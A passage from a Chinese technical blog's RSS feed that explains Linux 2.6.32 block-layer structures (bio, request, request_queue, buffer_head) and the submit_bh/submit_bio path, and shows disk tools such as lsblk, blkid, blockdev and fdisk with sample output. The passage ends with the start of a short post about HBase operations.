<p><a href="http://lxr.linux.no/linux+v2.6.32.49/include/linux/genhd.h#L128">disk_part_tbl</a>保存磁盘分区表的信息</p>
<pre>
struct disk_part_tbl {
    struct rcu_head rcu_head;
    int len;
    struct hd_struct *last_lookup;
    struct hd_struct *part[];
};
</pre>
<p><strong>1.4 block_device</strong></p>
<p><a href="http://lxr.linux.no/linux+v2.6.32.49/include/linux/fs.h#L646">block_device</a>可以是整个磁盘，也可以是一个分区。如果是一个分区块设备，则bd_contains会指向分区所在磁盘的block_device，bd_part则指向分区信息结构hd_struct。。</p>
<pre>
struct block_device {
    dev_t                    bd_bdev;
    struct inode            *bd_inode;
    struct list_head         bd_inodes;
    struct super_block      *bd_super;
    struct block_device     *bd_contains;
    struct gendisk          *bd_disk;
    struct hd_struct        *bd_part;
    struct list_head         bd_list;
    struct backing_dev_info *bd_inode_backing_dev_info;
    ...
};
</pre>
<p><strong>1.5 buffer_head</strong></p>
<p>顾名思义，在内核层对块设备的IO请求是以块为单位的。<a href="http://lxr.linux.no/linux+v2.6.32.49/include/linux/buffer_head.h#L61">buffer_head</a>是一个块在内存中的元数据信息。b_data指向该块数据的实际地址。b_this_page则将通过一page中的块连接起来。以前版本的buffer_head是fs到block device的io请求单元，现在已经改为bio了。</p>
<pre>
struct buffer_head {
    unsigned long        b_state;
    struct buffer_head   *b_this_page;
    char                 *b_data;
    sector_t              blocknr;
    struct block_device  *b_bdev;
    bh_end_io_t          *b_end_io;
    ...
};
</pre>
<p><strong>1.6 bio</strong></p>
<p><a href="http://lxr.linux.no/linux+v2.6.32.49/include/linux/bio.h#L62">bio</a>封装了一次实际的块设备io请求。这是块设备io请求的基本单位。bi_vcnt表示bio_vec的数目。</p>
<pre>
struct bio {
    sector_t             bi_sector;
    struct bio          *bi_next;
    struct block_device *bi_bdev;
    unsigned short       bi_vcnt;
    unsigned short       bi_idx;
    struct bio_vec      *bi_io_vec;
    ...
};
</pre>
<p><strong>1.7 bio_vec</strong></p>
<p><a href="http://lxr.linux.no/linux+v2.6.32.49/include/linux/bio.h#L46">bio_vec</a>表示一次bio涉及到的数据片段(segment)，由所在内存页地址，长度，偏移地址等定位。一次bio一般包含多个segment。</p>
<pre>
struct bio_vec {
    struct page            *bv_page;
    unsigned int            bv_len;
    unsigned int            bv_offset;
};
</pre>
<p><strong>1.8 request</strong></p>
<p>块设备层IO等待请求(pending I/O <a href="http://lxr.linux.no/linux+v2.6.32.49/include/linux/blkdev.h#L158">request</a>)。内核中的bio请求在经过io调度排序后进入块设备层，会尝试合并到已有的requst。bio结构中的bi_next将队列中的bio请求串成一个队列。bio/biotail域指向队列的首尾。</p>
<pre>
struct request {
    struct list_head            queuelist;
    struct bio                 *bio;
    struct bio                 *biotail;
    void                       *elevator_private;
    void                       *elevator_private2;
    struct gendisk             *rq_disk;
    request_queue_t            *q;
    ...
};
</pre>
<p><strong>1.8 request_queue</strong></p>
<p><a href="http://lxr.linux.no/linux+v2.6.32.49/include/linux/blkdev.h#L324">request_queue</a>维护块设备层IO请求队列，队列中包含多个request。request_queue同时定义了处理队列的函数接口，不同的设备注册时需要实现这些IO处理接口。</p>
<pre>
struct request_queue {
    struct list_head            queue_head;
    struct request             *lastmerge;
    elevator_t                 *elevator;
    struct request_list         rq;
    request_fn_proc            *request_fn;
    make_request_fn            *make_request_fn;
    prep_rq_fn                 *prep_rq_fn;
    unplug_fn                  *unplug_fn;
    merge_bvec_fn           *merge_bvec_fn;
    prepare_flush_fn        *prepare_flush_fn;
    softirq_done_fn         *softirq_done_fn;
    rq_timed_out_fn         *rq_timed_out_fn;
    dma_drain_needed_fn     *dma_drain_needed;
    lld_busy_fn             *lld_busy_fn;
    struct blk_trace           *blk_trace;
    ...
};
</pre>
<p><strong>1.9 submit_bh</strong></p>
<p><a href="http://lxr.linux.no/linux+v2.6.32.49/fs/buffer.c#L2946">submit_bh</a>是内核发送IO请求给块设备的函数，目前较新版本的内核中该函数会调用submit_bio执行实际请求。</p>
<pre>
int submit_bh(int rw, struct buffer_head * bh)
{
    struct bio *bio;
    int ret = 0;
    ...
    bio = bio_alloc(GFP_NOIO, 1);

    bio->bi_sector = bh->b_blocknr * (bh->b_size >> 9);
    bio->bi_bdev = bh->b_bdev;
    bio->bi_io_vec[0].bv_page = bh->b_page;
    bio->bi_io_vec[0].bv_len = bh->b_size;
    bio->bi_io_vec[0].bv_offset = bh_offset(bh);

    bio->bi_vcnt = 1;
    bio->bi_idx = 0;
    bio->bi_size = bh->b_size;

    bio->bi_end_io = end_bio_bh_io_sync;
    bio->bi_private = bh;
    bio_get(bio);
    submit_bio(rw, bio);
    if (bio_flagged(bio, BIO_EOPNOTSUPP))
        ret = -EOPNOTSUPP;

    bio_put(bio);
    return ret;
}
</pre>
<p><strong>1.10 submit_bio</strong></p>
<p><a href="http://lxr.linux.no/linux+v2.6.32.49/block/blk-core.c#L1554">submit_bio</a>函数会调用<a href="http://lxr.linux.no/linux+v2.6.32.49/block/blk-core.c#L1503">generic_make_request</a>执行实际的bio请求。generic_make_request则循环处理bio链表，针对每个bio调用内联函数<a href="http://lxr.linux.no/linux+v2.6.32.49/block/blk-core.c#L1406">__generic_make_request</a>来做处理。__generic_make_request则最终调用request_queue中的make_request_fn处理函数处理实际的IO请求。</p>
<pre>
void submit_bio(int rw, struct bio *bio)
{
    ...
    generic_make_request(bio);
}

...
static inline void __generic_make_request(struct bio *bio)
{
    struct request_queue *q;
    int ret;
    ...
    do{
      q = bdev_get_queue(bio->bi_bdev);
      ...
      ret = q->make_request_fn(q, bio);
    }while(ret);
    ...

}
</pre>
<p><strong>2. Block device相关的工具</strong></p>
<p>Linux提供了一些工具来操作和查看块设备，如果你的系统中没有，可以安装最新版本的<a href="ftp://ftp.kernel.org/pub/linux/utils/util-linux-ng/">util-linux-ng</a>来获得，实际上很多常用的工具都是出自整个工具集，本文后续也会用到其中一些有意思的工具。</p>
<p><strong>2.1 lsblk</strong></p>
<p>RHEL6.1中已经带有该工具。下面是一台已经配置好Flashcache的机器上执行的结果：</p>
<pre>
$lsblk
NAME                MAJ:MIN RM   SIZE RO MOUNTPOINT
sda                     8:0    0   200G  0
├─sda1                8:1    0   128M  0 /boot
├─sda2                8:2    0  14.7G  0 /
├─sda8                8:8    0     2G  0 [SWAP]
sdb                     8:16   0   1.5T  0
└─sdb1                8:17   0   1.5T  0
  └─cachedev (dm-0) 253:0    0   1.5T  0 /opt
fioa                  252:0    0 300.4G  0
└─cachedev (dm-0)   253:0    0   1.5T  0 /opt
</pre>
<p><strong>2.2 blkid</strong></p>
<p>blkid可以块设备的属性，不带参数也会列出系统中所有的块设备。</p>
<pre>
$ sudo blkid
/dev/sda1: UUID="0ff3ff63-d214-4d32-8633-66a4333fece9" TYPE="ext4"
/dev/sda6: UUID="d328b838-9043-438d-81b8-6a96454def3c" TYPE="swap"
</pre>
<p><strong>2.3 blockdev<br />
</strong><br />
blockdev，不仅可以查看，也可以设置块设备的一些属性。</p>
<pre>
$ blockdev

用法:
  blockdev -V
  blockdev --report [devices]
  blockdev [-v|-q] commands devices

可用的命令:
	--getsz                        获得512字节的段大小
	--setro                        设置只读
	--setrw                        设置读写
	--getro                        获得只读
	--getss                        get logical block (sector) size
	--getpbsz                      get physical block (sector) size
	--getiomin                     get minimum I/O size
	--getioopt                     get optimal I/O size
	--getalignoff                  get alignment offset
	--getmaxsect                   get max sectors per request
	--getbsz                       获得块大小
	--setbsz BLOCKSIZE             设置块大小
	--getsize                      获得 32-bit 段数量
	--getsize64                    获得字节大小
	--setra READAHEAD              设置 readahead
	--getra                        获取 readahead
	--setfra FSREADAHEAD           设置文件系统 readahead
	--getfra                       获取文件系统 readahead
	--flushbufs                    刷新缓存
	--rereadpt                     重新读取分区表
</pre>
<p><strong>2.4 fdisk</strong></p>
<p>当然常用的fdisk也是管理块设备的利器。</p>
<pre>
$ sudo fdisk -l /dev/sda4

Disk /dev/sda4: 136.5 GB, 136492089344 bytes
255 heads, 63 sectors/track, 16594 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00000000
</pre>
<p><strong>2.5 blktrace</strong></p>
<p>blktrace是跟踪块设备IO请求情况的利器。</p>
<blockquote><p>blktrace is a block layer IO tracing mechanism which provides detailed information about request queue operations up to user space.</p></blockquote>
<p>核心系统部的褚霸童鞋详细的介绍了这个个工具，有兴趣的移步<a href="http://blog.yufeng.info/archives/751">这里</a>，<a href="http://blog.yufeng.info/archives/1786">这里</a>，还有<a href="http://blog.yufeng.info/archives/1112">这里</a>。</p>
<p><strong>2.6 lscpu</strong></p>
<p>顺带说一下，lscpu也是一个很有用的工具，下面是2路intel L5630的主机上打印出来的信息，L5630是intel的低功耗CPU，额定功率只有常用的x5620的一半左右。</p>
<pre>
$sudo lscpu
Architecture:          x86_64
CPU op-mode(s):        32-bit, 64-bit
Byte Order:            Little Endian
CPU(s):                16
On-line CPU(s) list:   0-15
Thread(s) per core:    2
Core(s) per socket:    4
CPU socket(s):         2
NUMA node(s):          2
Vendor ID:             GenuineIntel
CPU family:            6
Model:                 44
Stepping:              2
CPU MHz:               2127.973
BogoMIPS:              4255.85
Virtualization:        VT-x
L1d cache:             32K
L1i cache:             32K
L2 cache:              256K
L3 cache:              12288K
NUMA node0 CPU(s):     0,2,4,6,8,10,12,14
NUMA node1 CPU(s):     1,3,5,7,9,11,13,15
</pre>
<p>未完待续</p>
<p>参考：<br />
[1]. <a href="http://www2.comp.ufscar.br/~helio/block/blkdevarch26.html">Linux Block Device Architecture</a><br />
[2]. <a href="http://www.mimuw.edu.pl/~vincent/lecture13/13-dm.pdf">Block devices and volume management in Linux</a></p>
<table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;">
    
    <tr>
        <td colspan="5"><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
        <tr>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important;">
                    <a target="_blank" title="深入浅出Flashcache（四）" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fall_things_about_flashcache.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">深入浅出Flashcache（四）</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="SSD硬盘时代即将到来？" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Fssd_harddisk_is_coming_soon.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14711646.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">SSD硬盘时代即将到来？</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Windows平台不支持32k的block size" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Fcan_not_use_32k_block_size_on_windows.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14712511.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Windows平台不支持32k的block size</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="SSD硬盘的IO性能测试" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Fa_ssd_orion_test.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14710895.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">SSD硬盘的IO性能测试</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Oracle11gR1 for Linux可以下载了" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Foracle11gr1_for_linux_x86_can_download_now.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14712488.png" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Oracle11gR1 for Linux可以下载了</font>
                    </a>
                </td>
        </tr>
    
    <tr>
        <td colspan="5" align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table><img src="http://www1.feedsky.com/t1/611199580/NinGoo/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/NinGoo/~1461473/611199580/1237504/1/item.html" border="0" height="0" width="0" style="position:absolute" />
<p><a href="http://feedads.g.doubleclick.net/~a/saGGHfQiaQ9shK9FmZ3LI850IDg/0/da"><img src="http://feedads.g.doubleclick.net/~a/saGGHfQiaQ9shK9FmZ3LI850IDg/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/saGGHfQiaQ9shK9FmZ3LI850IDg/1/da"><img src="http://feedads.g.doubleclick.net/~a/saGGHfQiaQ9shK9FmZ3LI850IDg/1/di" border="0" ismap="true"></img></a></p>]]></content:encoded><wfw:commentRss>http://www.ningoo.net/html/2011/all_things_about_flashcache_1.html/feed</wfw:commentRss><slash:comments>3</slash:comments><description>Cache is king. 在计算机系统中，cache的魔爪无处不在。CPU中有L1,L2,甚至L3 cache;Linux有pagecache，MySQL有buffer cache/query cache;IO系统中Raid卡/磁盘也有cache;在大型互联网系统中，数据库前面一般也都有一层... &lt;table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;"&gt;
    
    &lt;tr&gt;
        &lt;td colspan="5"&gt;&lt;b&gt;&lt;font size="-1"  style="display: block !important; padding: 20px 0 5px !important;"&gt;您可能也喜欢：&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;
    &lt;/tr&gt;
    
        &lt;tr&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important;"&gt;
                    &lt;a target="_blank" title="深入浅出Flashcache（四）" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fall_things_about_flashcache.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;深入浅出Flashcache（四）&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="SSD硬盘时代即将到来？" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Fssd_harddisk_is_coming_soon.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14711646.gif" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;SSD硬盘时代即将到来？&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="Windows平台不支持32k的block size" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Fcan_not_use_32k_block_size_on_windows.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14712511.jpg" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;Windows平台不支持32k的block size&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="SSD硬盘的IO性能测试" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Fa_ssd_orion_test.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14710895.jpg" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;SSD硬盘的IO性能测试&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="Oracle11gR1 for Linux可以下载了" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Foracle11gr1_for_linux_x86_can_download_now.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14712488.png" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;Oracle11gR1 for Linux可以下载了&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
        &lt;/tr&gt;
    
    &lt;tr&gt;
        &lt;td colspan="5" align="right"&gt;
            &lt;a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件"&gt;
                &lt;font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;"&gt;无觅&lt;/font&gt;
            &lt;/a&gt;
        &lt;/td&gt;
    &lt;/tr&gt;
&lt;/table&gt;&lt;img src="http://www1.feedsky.com/t1/611199580/NinGoo/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/NinGoo/~1461473/611199580/1237504/1/item.html" border="0" height="0" width="0" style="position:absolute" /&gt;</description><category>fusionio</category><category>linux</category><category>flashcache</category><category>SSD</category><category>block device</category><category>bio</category><category>技术</category><pubDate>Sat, 03 Dec 2011 15:11:14 +0800</pubDate><author>NinGoo</author><comments>http://www.ningoo.net/html/2011/all_things_about_flashcache_1.html#comments</comments><guid isPermaLink="false">http://www.ningoo.net/?p=2201</guid><dc:creator>NinGoo</dc:creator><fs:srclink>http://www.ningoo.net/html/2011/all_things_about_flashcache_1.html</fs:srclink><fs:srcfeed>http://www.ningoo.net/feed/</fs:srcfeed><fs:itemid>feedsky/NinGoo/~1461473/611199580/1237504</fs:itemid></item><item><title>HBase运维碎碎念</title><link>http://item.feedsky.com/~feedsky/NinGoo/~1461473/611199581/1237504/1/item.html</link><content:encoded><![CDATA[<p>最近开始看HBase，幸运的是，现在HBase社区已经非常的活跃，网络上可以找到大量的参考资料。但对于大集群的运维经验，还有待积累。上周在团队内部简单分享了一下这段时间的读书总结，现在把PPT放出来。</p>
<p>这个PPT只是个读书笔记，可能有些理解有误的地方，如果发现了，请一定要留下评论。</p>
<div style="width:425px" id="__ss_8433555"> <strong style="display:block;margin:12px 0 4px"><a href="http://www.slideshare.net/NinGoo/hbase-8433555" title="Hbase运维碎碎念">Hbase运维碎碎念</a></strong> <iframe src="http://www.slideshare.net/slideshow/embed_code/8433555" width="425" height="355" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
<div style="padding:5px 0 12px"> View more <a href="http://www.slideshare.net/">presentations</a> from <a href="http://www.slideshare.net/NinGoo">seaman ning</a> </div>
</p></div>
<table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;">
    
    <tr>
        <td colspan="5"><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
        <tr>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important;">
                    <a target="_blank" title="关于HBase的一些零碎事" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fsome_tips_about_hbase.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fhbase_operation_tips.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">关于HBase的一些零碎事</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="OOW2009美国行:大会第四天" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2009%2Foracle_open_world_2009_fouth_day.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fhbase_operation_tips.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14710509.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">OOW2009美国行:大会第四天</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="关于Oracle Companion CD" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Fabout_oracle_companion_cd.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fhbase_operation_tips.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14712723.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">关于Oracle Companion CD</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="雪色杭州，百年一遇" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Fsnow_in_hangzhou.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fhbase_operation_tips.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14711610.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">雪色杭州，百年一遇</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="OOW2009美国行:大会第二天" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2009%2Foracle_open_world_2009_second_day.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fhbase_operation_tips.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14710525.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">OOW2009美国行:大会第二天</font>
                    </a>
                </td>
        </tr>
    
    <tr>
        <td colspan="5" align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table><img src="http://www1.feedsky.com/t1/611199581/NinGoo/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/NinGoo/~1461473/611199581/1237504/1/item.html" border="0" height="0" width="0" style="position:absolute" />
<p><a href="http://feedads.g.doubleclick.net/~a/LUlHYe4spOINhFgM84nng1QIdwY/0/da"><img src="http://feedads.g.doubleclick.net/~a/LUlHYe4spOINhFgM84nng1QIdwY/0/di" border="0" ismap="true"></img></a><br/>
